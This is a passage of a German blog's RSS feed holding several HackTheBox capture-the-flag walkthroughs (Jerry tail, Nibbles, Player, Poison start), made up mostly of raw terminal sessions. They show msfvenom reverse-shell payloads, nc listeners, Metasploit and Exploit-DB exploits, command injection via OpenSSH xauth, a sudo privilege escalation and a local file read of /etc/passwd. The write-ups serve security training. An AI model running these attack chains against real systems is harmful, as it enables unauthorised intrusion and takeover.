<p>root@kali:~# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.15.5 LPORT=4444 -f war &gt; m10x.war<br>
Payload size: 1089 bytes<br>
Final size of war file: 1089 bytes</p>
<p>root@kali:~# nc -lnvp 4444<br>
listening on [any] 4444 &hellip;<br>
connect to [10.10.15.5] from (UNKNOWN) [10.10.10.95] 49713<br>
Microsoft Windows [Version 6.3.9600]<br>
(c) 2013 Microsoft Corporation. All rights reserved.</p>
<p>C:\apache-tomcat-7.0.88&gt;whoami<br>
whoami<br>
nt authority\system</p>
<p>C:\apache-tomcat-7.0.88&gt;cd C:/Users/Administrator/Desktop<br>
cd C:/Users/Administrator/Desktop</p>
<p>C:\Users\Administrator\Desktop&gt;dir<br>
dir<br>
Volume in drive C has no label.<br>
Volume Serial Number is FC2B-E489</p>
<p>Directory of C:\Users\Administrator\Desktop</p>
<p>06/19/2018 06:09 AM <!-- raw HTML omitted --> .<br>
06/19/2018 06:09 AM <!-- raw HTML omitted --> ..<br>
06/19/2018 06:09 AM <!-- raw HTML omitted --> flags<br>
0 File(s) 0 bytes<br>
3 Dir(s) 27,595,964,416 bytes free</p>
<p>C:\Users\Administrator\Desktop&gt;cd flags<br>
cd flags</p>
<p>C:\Users\Administrator\Desktop\flags&gt;dir<br>
dir<br>
Volume in drive C has no label.<br>
Volume Serial Number is FC2B-E489</p>
<p>Directory of C:\Users\Administrator\Desktop\flags</p>
<p>06/19/2018 06:09 AM <!-- raw HTML omitted --> .<br>
06/19/2018 06:09 AM <!-- raw HTML omitted --> ..<br>
06/19/2018 06:11 AM 88 2 for the price of 1.txt<br>
1 File(s) 88 bytes<br>
2 Dir(s) 27,595,964,416 bytes free</p>
<p>C:\Users\Administrator\Desktop\flags&gt;type &ldquo;2 for the price of 1.txt&rdquo;<br>
type &ldquo;2 for the price of 1.txt&rdquo;<br>
user.txt<br>
700##########################d00</p>
<p>root.txt<br>
04a##########################90e</p>
]]></content></item><item><title>HackTheBox - Nibbles</title><link>https://m10x.de/posts/2010/01/hackthebox-nibbles/</link><pubDate>Fri, 01 Jan 2010 01:01:56 +0100</pubDate><guid>https://m10x.de/posts/2010/01/hackthebox-nibbles/</guid><description>root@kali:~# nmap -sV -sC -Pn 10.10.10.75
Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-03 12:23 CEST
Nmap scan report for 10.10.10.75
Host is up (0.065s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77&amp;#x1f1e9;&amp;#x1f1ea;cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)</description><content type="html"><![CDATA[<p><a href="http://www.youtube.com/watch?v=YOUTUBE_VIDEO_ID_HERE"><img alt="Kurzes Video Walkthrough ohne Erklärungen" src="http://img.youtube.com/vi/YOUTUBE_VIDEO_ID_HERE/0.jpg"></a></p>
<p>root@kali:~# nmap -sV -sC -Pn 10.10.10.75<br>
Starting Nmap 7.70 ( <a href="https://nmap.org">https://nmap.org</a> ) at 2018-07-03 12:23 CEST<br>
Nmap scan report for 10.10.10.75<br>
Host is up (0.065s latency).<br>
Not shown: 998 closed ports<br>
PORT STATE SERVICE VERSION<br>
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)<br>
| ssh-hostkey:<br>
| 2048 c4:f8:ad:e8:f8:04:77&#x1f1e9;&#x1f1ea;cf:15:0d:63:0a:18:7e:49 (RSA)<br>
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)<br>
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)<br>
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))<br>
|_http-server-header: Apache/2.4.18 (Ubuntu)<br>
|_http-title: Site doesn&rsquo;t have a title (text/html).<br>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</p>
<p>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br>
Nmap done: 1 IP address (1 host up) scanned in 30.92 seconds</p>
<p>root@kali:~# gobuster -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php -u http://10.10.10.75/nibbleblog/ -t 75</p>
<h1 id="gobuster-v141-oj-reeves-thecolonial">Gobuster v1.4.1 OJ Reeves (@TheColonial)</h1>
<h1 id="-extensions--php">=====================================================<br>
[+] Mode : dir<br>
[+] Url/Domain : http://10.10.10.75/nibbleblog/<br>
[+] Threads : 75<br>
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt<br>
[+] Status codes : 200,204,301,302,307<br>
[+] Extensions : .php</h1>
<h1 id="languages-status-301">/content (Status: 301)<br>
/index.php (Status: 200)<br>
/sitemap.php (Status: 200)<br>
/themes (Status: 301)<br>
/feed.php (Status: 200)<br>
/admin (Status: 301)<br>
/admin.php (Status: 200)<br>
/plugins (Status: 301)<br>
/install.php (Status: 200)<br>
/update.php (Status: 200)<br>
/languages (Status: 301)</h1>
<p>root@kali:~# searchsploit nibbleblog</p>
<hr>
<p>Exploit Title | Path<br>
| (/usr/share/exploitdb/)</p>
<hr>
<p>Nibbleblog - Arbitrary File Upload (Metasploit) | exploits/php/remote/38489.rb<br>
Nibbleblog - Multiple SQL Injections | exploits/php/webapps/35865.txt</p>
<hr>
<p>Shellcodes: No Result</p>
<p>Nur &ldquo;Hello world!&rdquo;</p>
<p>Zeile 16:</p>
<!-- raw HTML omitted -->
<p>BILD</p>
<p>Settings -&gt; Nach unten Scrollen -&gt; Version -&gt; Nibbleblog 4.0.3 &ldquo;Coffee&rdquo; - Developed by Diego Najar</p>
<p>root@kali:~# msfconsole</p>
<p>msf &gt; search nibbleblog</p>
<h1 id="matching-modules">Matching Modules</h1>
<p>Name Disclosure Date Rank Description</p>
<hr>
<p>exploit/multi/http/nibbleblog_file_upload 2015-09-01 excellent Nibbleblog File Upload Vulnerability</p>
<p>msf &gt; use exploit/multi/http/nibbleblog_file_upload</p>
<p>msf exploit(multi/http/nibbleblog_file_upload) &gt; show options</p>
<p>Module options (exploit/multi/http/nibbleblog_file_upload):</p>
<p>Name Current Setting Required Description</p>
<hr>
<p>PASSWORD yes The password to authenticate with<br>
Proxies no A proxy chain of format type:host:port[,type:host:port][&hellip;]<br>
RHOST yes The target address<br>
RPORT 80 yes The target port (TCP)<br>
SSL false no Negotiate SSL/TLS for outgoing connections<br>
TARGETURI / yes The base path to the web application<br>
USERNAME yes The username to authenticate with<br>
VHOST no HTTP server virtual host</p>
<p>Exploit target:</p>
<p>Id Name</p>
<hr>
<p>0 Nibbleblog 4.0.3</p>
<p>msf exploit(multi/http/nibbleblog_file_upload) &gt; set password nibbles<br>
password =&gt; nibbles<br>
msf exploit(multi/http/nibbleblog_file_upload) &gt; set rhost 10.10.10.75<br>
rhost =&gt; 10.10.10.75<br>
msf exploit(multi/http/nibbleblog_file_upload) &gt; set targeturi /nibbleblog/<br>
targeturi =&gt; /nibbleblog/<br>
msf exploit(multi/http/nibbleblog_file_upload) &gt; set username admin<br>
username =&gt; admin<br>
msf exploit(multi/http/nibbleblog_file_upload) &gt; exploit</p>
<p>[<em>] Started reverse TCP handler on 10.10.15.148:4444<br>
[</em>] Sending stage (37775 bytes) to 10.10.10.75<br>
[*] Meterpreter session 1 opened (10.10.15.148:4444 -&gt; 10.10.10.75:45084) at 2018-07-03 17:04:12 +0200<br>
[+] Deleted image.php</p>
<p>meterpreter &gt; shell<br>
Process 21995 created.<br>
Channel 0 created.<br>
python3 -c &ldquo;import pty;pty.spawn(&rsquo;/bin/bash&rsquo;)&rdquo;<br>
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$ cd /home<br>
&lt;ml/nibbleblog/content/private/plugins/my_image$ cd /home</p>
<p>nibbler@Nibbles:/home$ ls<br>
ls<br>
nibbler<br>
nibbler@Nibbles:/home$ cd nibbler<br>
cd nibbler<br>
nibbler@Nibbles:/home/nibbler$ ls<br>
ls<br>
personal personal.zip user.txt<br>
nibbler@Nibbles:/home/nibbler$ cat user.txt<br>
cat user.txt<br>
b02#########################8d8</p>
<p>nibbler@Nibbles:/home$ sudo -l<br>
sudo -l<br>
sudo: unable to resolve host Nibbles: Connection timed out<br>
Matching Defaults entries for nibbler on Nibbles:<br>
env_reset, mail_badpass,<br>
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin</p>
<p>User nibbler may run the following commands on Nibbles:<br>
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh<br>
nibbler@Nibbles:/home$ cat /home/nibbler/personal/stuff/monitor.sh<br>
cat /home/nibbler/personal/stuff/monitor.sh<br>
#!/bin/sh<br>
bash<br>
nibbler@Nibbles:/home$ sudo -u root /home/nibbler/personal/stuff/monitor.sh<br>
sudo -u root /home/nibbler/personal/stuff/monitor.sh<br>
sudo: unable to resolve host Nibbles: Connection timed out<br>
root@Nibbles:/home# cat /root/root.txt<br>
cat /root/root.txt<br>
b6d##########################88c</p>
]]></content></item><item><title>HackTheBox - Player</title><link>https://m10x.de/posts/2010/01/hackthebox-player/</link><pubDate>Fri, 01 Jan 2010 01:01:56 +0100</pubDate><guid>https://m10x.de/posts/2010/01/hackthebox-player/</guid><description>~ backupfile
root@kali:~# nmap -sV -sC 10.10.10.145 [241/1956]
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-18 22:39 CET
Nmap scan report for 10.10.10.145
Host is up (0.032s latency).
Not shown: 958 closed ports, 40 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 d7:30:db:b9:a0:4c:79:94:78:38:b3:43:a2:50:55:81 (DSA)
| 2048 37:2b:e4:31:ee:a6:49:0d:9f:e7:e6:01:e6:3e:0a:66 (RSA)
| 256 0c:6c:05:ed:ad:f1:75:e8:02:e4:d2:27:3e:3a:19:8f (ECDSA)
|_ 256 11:b8:db:f3:cc:29:08:4a:49:ce:bf:91:73:40:a2:80 (ED25519)</description><content type="html"><![CDATA[<p><a href="http://www.youtube.com/watch?v=YOUTUBE_VIDEO_ID_HERE"><img alt="Kurzes Video Walkthrough ohne Erklärungen" src="http://img.youtube.com/vi/YOUTUBE_VIDEO_ID_HERE/0.jpg"></a></p>
<p>~ backupfile</p>
<!-- raw HTML omitted -->
<!-- raw HTML omitted -->
<p>root@kali:~# nmap -sV -sC 10.10.10.145 [241/1956]<br>
Starting Nmap 7.80 ( <a href="https://nmap.org">https://nmap.org</a> ) at 2020-01-18 22:39 CET<br>
Nmap scan report for 10.10.10.145<br>
Host is up (0.032s latency).<br>
Not shown: 958 closed ports, 40 filtered ports<br>
PORT STATE SERVICE VERSION<br>
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.11 (Ubuntu Linux; protocol 2.0)<br>
| ssh-hostkey:<br>
| 1024 d7:30:db:b9:a0:4c:79:94:78:38:b3:43:a2:50:55:81 (DSA)<br>
| 2048 37:2b:e4:31:ee:a6:49:0d:9f:e7:e6:01:e6:3e:0a:66 (RSA)<br>
| 256 0c:6c:05:ed:ad:f1:75:e8:02:e4:d2:27:3e:3a:19:8f (ECDSA)<br>
|_ 256 11:b8:db:f3:cc:29:08:4a:49:ce:bf:91:73:40:a2:80 (ED25519)<br>
80/tcp open http Apache httpd 2.4.7<br>
|_http-server-header: Apache/2.4.7 (Ubuntu)<br>
|_http-title: 403 Forbidden<br>
Service Info: Host: player.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel</p>
<p>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br>
Nmap done: 1 IP address (1 host up) scanned in 10.24 seconds<br>
root@kali:~# wfuzz -w /usr/share/wordlists/subdomains-top1mil-5000.txt &ndash;hc 400,403,404 -H &ldquo;HOST: FUZZ.player.htb&rdquo; http://10.10.10.145</p>
<p>Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz&rsquo;s documentation for more information.</p>
<hr>
<ul>
<li>Wfuzz 2.4 - The Web Fuzzer *</li>
</ul>
<hr>
<p>Target: http://10.10.10.145/<br>
Total requests: 5000</p>
<h1 id="id-response-lines-word-chars-payload">===================================================================<br>
ID Response Lines Word Chars Payload</h1>
<p>000000019: 200 86 L 229 W 5243 Ch &ldquo;dev&rdquo;<br>
000000067: 200 63 L 180 W 1470 Ch &ldquo;staging&rdquo;<br>
000000070: 200 259 L 714 W 9513 Ch &ldquo;chat&rdquo;</p>
<p>Total time: 19.66479<br>
Processed Requests: 5000<br>
Filtered Requests: 4997<br>
Requests/sec.: 254.2614</p>
<p>root@kali:~# vim /etc/hosts</p>
<h1 id="rootkali-gobuster-dir--w-usrsharewordlistsdirbcommontxt--u-httpplayerhtb">root@kali:~# gobuster dir -w /usr/share/wordlists/dirb/common.txt -u <a href="http://player.htb">http://player.htb</a></h1>
<h1 id="by-oj-reeves-thecolonial--christian-mehlmauer-_firefart_">Gobuster v3.0.1<br>
by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@<em>FireFart</em>)</h1>
<h1 id="-timeout-10s">[+] Url: <a href="http://player.htb">http://player.htb</a><br>
[+] Threads: 10<br>
[+] Wordlist: /usr/share/wordlists/dirb/common.txt<br>
[+] Status codes: 200,204,301,302,307,401,403<br>
[+] User Agent: gobuster/3.0.1<br>
[+] Timeout: 10s</h1>
<h1 id="20200118-224510-starting-gobuster">2020/01/18 22:45:10 Starting gobuster</h1>
<h1 id="server-status-status-403">/.hta (Status: 403)<br>
/.htaccess (Status: 403)<br>
/.htpasswd (Status: 403)<br>
/launcher (Status: 301)<br>
/server-status (Status: 403)</h1>
<h1 id="20200118-224524-finished">2020/01/18 22:45:24 Finished</h1>
<p>root@kali:<del># cd Downloads/<br>
root@kali:</del>/Downloads# python3 gen_avi.py file:///var/www/backup/service_config output.avi<br>
root@kali:<del>/Downloads# ls<br>
8926359.avi gen_avi.py output.avi<br>
root@kali:</del>/Downloads# xdg-open 8926359.avi<br>
root@kali:~/Downloads# clear</p>
<p>root@kali:~/Downloads# nmap -p- player.htb<br>
Starting Nmap 7.80 ( <a href="https://nmap.org">https://nmap.org</a> ) at 2020-01-18 23:21 CET<br>
Stats: 0:12:15 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan<br>
SYN Stealth Scan Timing: About 68.28% done; ETC: 23:39 (0:05:41 remaining)<br>
Stats: 0:25:45 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan<br>
SYN Stealth Scan Timing: About 81.64% done; ETC: 23:53 (0:05:47 remaining)<br>
Stats: 0:38:38 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan<br>
SYN Stealth Scan Timing: About 94.34% done; ETC: 00:02 (0:02:19 remaining)<br>
Nmap scan report for player.htb (10.10.10.145)<br>
Host is up (0.022s latency).<br>
Not shown: 65532 closed ports<br>
PORT STATE SERVICE<br>
22/tcp open ssh<br>
80/tcp open http<br>
6686/tcp open unknown</p>
<p>Nmap done: 1 IP address (1 host up) scanned in 2770.55 seconds<br>
root@kali:~/Downloads# nmap -p 6686 -sV -sC player.htb<br>
Starting Nmap 7.80 ( <a href="https://nmap.org">https://nmap.org</a> ) at 2020-01-19 08:50 CET<br>
Nmap scan report for player.htb (10.10.10.145)<br>
Host is up (0.019s latency).</p>
<p>PORT STATE SERVICE VERSION<br>
6686/tcp open ssh OpenSSH 7.2 (protocol 2.0)</p>
<p>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br>
Nmap done: 1 IP address (1 host up) scanned in 0.81 seconds<br>
root@kali:~/Downloads# ssh <a href="mailto:telegen@player.htb">telegen@player.htb</a> -p 6686<br>
<a href="mailto:telegen@player.htb">telegen@player.htb</a>&rsquo;s password:<br>
Last login: Sun Jan 19 13:29:59 2020 from 10.10.15.22<br>
Environment:<br>
USER=telegen<br>
LOGNAME=telegen<br>
HOME=/home/telegen<br>
PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin<br>
MAIL=/var/mail/telegen<br>
SHELL=/usr/bin/lshell<br>
SSH_CLIENT=10.10.15.22 55464 6686<br>
SSH_CONNECTION=10.10.15.22 55464 10.10.10.145 6686<br>
SSH_TTY=/dev/pts/0<br>
TERM=screen<br>
========= PlayBuff ==========<br>
Welcome to Staging Environment</p>
<p>telegen:<del>$ ls<br>
*** forbidden command: ls<br>
telegen:</del>$ help<br>
clear exit help history lpath lsudo<br>
telegen:<del>$ lpath<br>
Allowed:<br>
/home/telegen<br>
telegen:</del>$ lsudo<br>
Allowed sudo commands:<br>
telegen:~$ exit<br>
Connection to player.htb closed.</p>
<p>root@kali:~/Downloads# searchsploit openssh 7.2</p>
<hr>
<p>Exploit Title | Path<br>
| (/usr/share/exploitdb/)</p>
<hr>
<p>OpenSSH 7.2 - Denial of Service | exploits/linux/dos/40888.py<br>
OpenSSH 7.2p1 - (Authenticated) xauth Command Injection | exploits/multiple/remote/39569.py<br>
OpenSSH 7.2p2 - Username Enumeration | exploits/linux/remote/40136.py<br>
OpenSSHd 7.2p2 - Username Enumeration | exploits/linux/remote/40113.txt</p>
<hr>
<p>Shellcodes: No Result<br>
root@kali:~/Downloads# searchsploit -m exploits/multiple/remote/39569.py<br>
Exploit: OpenSSH 7.2p1 - (Authenticated) xauth Command Injection<br>
URL: <a href="https://www.exploit-db.com/exploits/39569">https://www.exploit-db.com/exploits/39569</a><br>
Path: /usr/share/exploitdb/exploits/multiple/remote/39569.py<br>
File Type: troff or preprocessor input, ASCII text, with very long lines, with CRLF line terminators</p>
<p>Copied to: /root/Downloads/39569.py</p>
<p>root@kali:~/Downloads# python 39569.py<br>
Usage: <!-- raw HTML omitted --> <!-- raw HTML omitted --> <!-- raw HTML omitted --> <!-- raw HTML omitted --></p>
<p>path_to_privkey - path to private key in pem format, or &lsquo;.demoprivkey&rsquo; to use demo private key</p>
<p>root@kali:<del>/Downloads# python 39569.py player.htb 6686 telegen &rsquo;d-bC|jC!2uepS/w&rsquo;<br>
INFO:<strong>main</strong>:connecting to: telegen:d-bC|jC!2uepS/w@player.htb:6686<br>
Traceback (most recent call last):<br>
File &ldquo;39569.py&rdquo;, line 462, in <!-- raw HTML omitted --><br>
timeout=10<br>
File &ldquo;39569.py&rdquo;, line 360, in <strong>init</strong><br>
look_for_keys=False, pkey=pkey)<br>
File &ldquo;/usr/lib/python2.7/dist-packages/paramiko/client.py&rdquo;, line 446, in connect<br>
passphrase,<br>
File &ldquo;/usr/lib/python2.7/dist-packages/paramiko/client.py&rdquo;, line 764, in _auth<br>
raise saved_exception<br>
paramiko.ssh_exception.AuthenticationException: Authentication timeout.<br>
root@kali:</del>/Downloads# clear<br>
root@kali:~/Downloads# python 39569.py player.htb 6686 telegen &rsquo;d-bC|jC!2uepS/w&rsquo;<br>
INFO:<strong>main</strong>:connecting to: telegen:d-bC|jC!2uepS/w@player.htb:6686<br>
INFO:<strong>main</strong>:connected!<br>
INFO:<strong>main</strong>:<br>
Available commands:<br>
.info<br>
.readfile <!-- raw HTML omitted --><br>
.writefile <!-- raw HTML omitted --> <!-- raw HTML omitted --><br>
.exit .quit<br>
<!-- raw HTML omitted --></p>
<p>#&gt; .readfile /home/telegen/user.txt<br>
DEBUG:<strong>main</strong>:auth_cookie: &lsquo;xxxx\nsource /home/telegen/user.txt\n&rsquo;<br>
DEBUG:<strong>main</strong>:dummy exec returned: None<br>
INFO:<strong>main</strong>:30e47abe9e315c0c39462d0cf71c0f48<br>
#&gt; .readfile /var/www/staging/fix.php</p>
<p>[..]</p>
<p>/for<br>
//fix<br>
//peter<br>
//CQXpm\z)G5D#%S$y=<br>
}<br>
public<br>
if($result<br>
static::passed($test_name);<br>
}<br>
static::failed($test_name);<br>
}<br>
}<br>
public<br>
echo<br>
echo<br>
echo<br>
}<br>
private<br>
echo</p>
<p>[..]</p>
<p>root@kali:~# ifconfig tun0 [344/344]<br>
tun0: flags=4305&lt;UP,POINTOPOINT,RUNNING,NOARP,MULTICAST&gt; mtu 1500<br>
inet 10.10.15.95 netmask 255.255.254.0 destination 10.10.15.95<br>
inet6 dead:beef:2::115d prefixlen 64 scopeid 0x0<!-- raw HTML omitted --><br>
inet6 fe80::b480:6dc6:a801:c6fa prefixlen 64 scopeid 0x20<!-- raw HTML omitted --><br>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 100 (UNSPEC)<br>
RX packets 1080 bytes 981503 (958.4 KiB)<br>
RX errors 0 dropped 0 overruns 0 frame 0<br>
TX packets 1085 bytes 184916 (180.5 KiB)<br>
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0</p>
<p>root@kali:<del># nc -lnvp 1234<br>
listening on [any] 1234 &hellip;<br>
connect to [10.10.15.95] from (UNKNOWN) [10.10.10.145] 58920<br>
Linux player 4.4.0-148-generic #174</del>14.04.1-Ubuntu SMP Thu May 9 08:17:37 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux<br>
03:56:03 up 17 min, 0 users, load average: 0.00, 0.01, 0.01<br>
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT<br>
uid=33(www-data) gid=33(www-data) groups=33(www-data)<br>
/bin/sh: 0: can&rsquo;t access tty; job control turned off<br>
$ python -c &ldquo;import pty; pty.spawn(&rsquo;/bin/bash&rsquo;)&rdquo;<br>
www-data@player:/$ ^Z<br>
[1]+ Stopped nc -lnvp 1234<br>
root@kali:<del># stty raw -echo<br>
root@kali:</del># nc -lnvp 1234</p>
<p>www-data@player:/$ export TERM=xterm<br>
www-data@player:/$ clear<br>
www-data@player:/$ cd /tmp<br>
www-data@player:/tmp$ nc 10.10.15.95 1337 &gt; pspy64</p>
<p>root@kali:~# nc -lnvp 1337 &lt; pspy64<br>
listening on [any] 1337 &hellip;<br>
connect to [10.10.15.95] from (UNKNOWN) [10.10.10.145] 48964</p>
<p>www-data@player:/tmp$ chmod +x pspy64<br>
www-data@player:/tmp$ ./pspy64<br>
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855</p>
<p>██▓███ ██████ ██▓███ ▓██ ██▓<br>
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒<br>
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░<br>
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░<br>
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░<br>
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒<br>
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░<br>
░░ ░ ░ ░ ░░ ▒ ▒ ░░<br>
░ ░ ░<br>
░ ░</p>
<p>Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)<br>
Draining file system events due to startup&hellip;<br>
done</p>
<p>2020/01/20 04:06:01 CMD: UID=0 PID=3429 | /root/openssh-7.2p1/sshd -p 6686 -f /root/openssh-7.2p1/sshd_config -D -d<br>
2020/01/20 04:06:02 CMD: UID=0 PID=3431 | CRON<br>
2020/01/20 04:06:02 CMD: UID=0 PID=3433 | /usr/bin/php /var/lib/playbuff/buff.php<br>
2020/01/20 04:06:02 CMD: UID=0 PID=3432 | /bin/sh -c /usr/bin/php /var/lib/playbuff/buff.php &gt; /var/lib/playbuff/error.log<br>
2020/01/20 04:06:06 CMD: UID=0 PID=3436 | sleep 5</p>
<p>www-data@player:/tmp$ cat /var/lib/playbuff/buff.php</p>
<!-- raw HTML omitted -->
<!-- raw HTML omitted -->
<p>g.phpata@player:/tmp$ cat /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786</p>
<!-- raw HTML omitted -->
<!-- raw HTML omitted -->
<p>www-data@player:/tmp$ clear<br>
www-w-w-data@player:/tmp$ vimr/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php-data@player:/tmp$ vi /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.pw-data@player:/tmp$ vim /var/www/html/launcher/dee8dc8a47256c64630d803a4c4<br>
0786g.</p>
<p>root@kali:<del># nc -lnvp 1338<br>
listening on [any] 1338 &hellip;<br>
connect to [10.10.15.95] from (UNKNOWN) [10.10.10.145] 34326<br>
bash: cannot set terminal process group (3781): Inappropriate ioctl for device<br>
bash: no job control in this shell<br>
root@player:</del># cat /root/root.txt<br>
cat /root/root.txt<br>
7df#########ZENSIERT#########49c<br>
root@player:~#</p>
]]></content></item><item><title>HackTheBox - Poison</title><link>https://m10x.de/posts/2010/01/hackthebox-poison/</link><pubDate>Fri, 01 Jan 2010 01:01:56 +0100</pubDate><guid>https://m10x.de/posts/2010/01/hackthebox-poison/</guid><description>root@kali:~# nmap -sC -sV 10.10.10.84 [134/134]
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-14 10:25 CEST
Nmap scan report for 10.10.10.84
Host is up (0.073s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey:
| 2048 e3:3b:7d:3c:8f:4b:8c:f9&amp;#x1f4bf;7f:d2:3a:ce:2d:ff:bb (RSA)
| 256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_ 256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.</description><content type="html"><![CDATA[<p><a href="http://www.youtube.com/watch?v=YOUTUBE_VIDEO_ID_HERE"><img alt="Kurzes Video Walkthrough ohne Erklärungen" src="http://img.youtube.com/vi/YOUTUBE_VIDEO_ID_HERE/0.jpg"></a></p>
<p>root@kali:~# nmap -sC -sV 10.10.10.84 [134/134]<br>
Starting Nmap 7.70 ( <a href="https://nmap.org">https://nmap.org</a> ) at 2018-09-14 10:25 CEST<br>
Nmap scan report for 10.10.10.84<br>
Host is up (0.073s latency).<br>
Not shown: 998 closed ports<br>
PORT STATE SERVICE VERSION<br>
22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)<br>
| ssh-hostkey:<br>
| 2048 e3:3b:7d:3c:8f:4b:8c:f9&#x1f4bf;7f:d2:3a:ce:2d:ff:bb (RSA)<br>
| 256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)<br>
|_ 256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)<br>
80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)<br>
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32<br>
|_http-title: Site doesn&rsquo;t have a title (text/html; charset=UTF-8).<br>
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd</p>
<p>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br>
Nmap done: 1 IP address (1 host up) scanned in 32.78 seconds<br>
root@kali:~# ssh <a href="mailto:charix@10.10.10.84">charix@10.10.10.84</a><br>
The authenticity of host &lsquo;10.10.10.84 (10.10.10.84)&rsquo; can&rsquo;t be established.<br>
ECDSA key fingerprint is SHA256:rhYtpHzkd9nBmOtN7+ft0JiVAu8qnywLb48Glz4jZ8c.<br>
Are you sure you want to continue connecting (yes/no)? yes<br>
Warning: Permanently added &lsquo;10.10.10.84&rsquo; (ECDSA) to the list of known hosts.<br>
Password for charix@Poison:<br>
Last login: Fri Sep 14 09:12:56 2018 from 10.10.13.151<br>
FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017</p>
<p>Welcome to FreeBSD!</p>
<p>http://10.10.10.84/browse.php?file=/etc/passwd</p>
<h1 id="freebsd-releng111etcmasterpasswd-299365-2016-05-10-124736z-bcr---root00charlie-rootbincsh-toor00bourne-again-superuserroot-daemon11owner-of-many-system-processesrootusrsbinnologin-operator25system-usrsbinnologin-bin37binaries-commands-and-sourceusrsbinnologin-tty465533tty-sandboxusrsbinnologin-kmem565533kmem-sandboxusrsbinnologin-games713games-pseudo-userusrsbinnologin-news88news-subsystemusrsbinnologin-man99mister-man-pagesusrsharemanusrsbinnologin-sshd2222secure-shell-daemonvaremptyusrsbinnologin-smmsp2525sendmail-submission-uservarspoolclientmqueueusrsbinnologin-mailnull2626sendmail-default-uservarspoolmqueueusrsbinnologin-bind5353bind-sandboxusrsbinnologin-unbound5959unbound-dns-resolvervarunboundusrsbinnologin-proxy6262packet-filter-pseudo-usernonexistentusrsbinnologin-_pflogd6464pflogd-privsep-uservaremptyusrsbinnologin-_dhcp6565dhcp-programsvaremptyusrsbinnologin-uu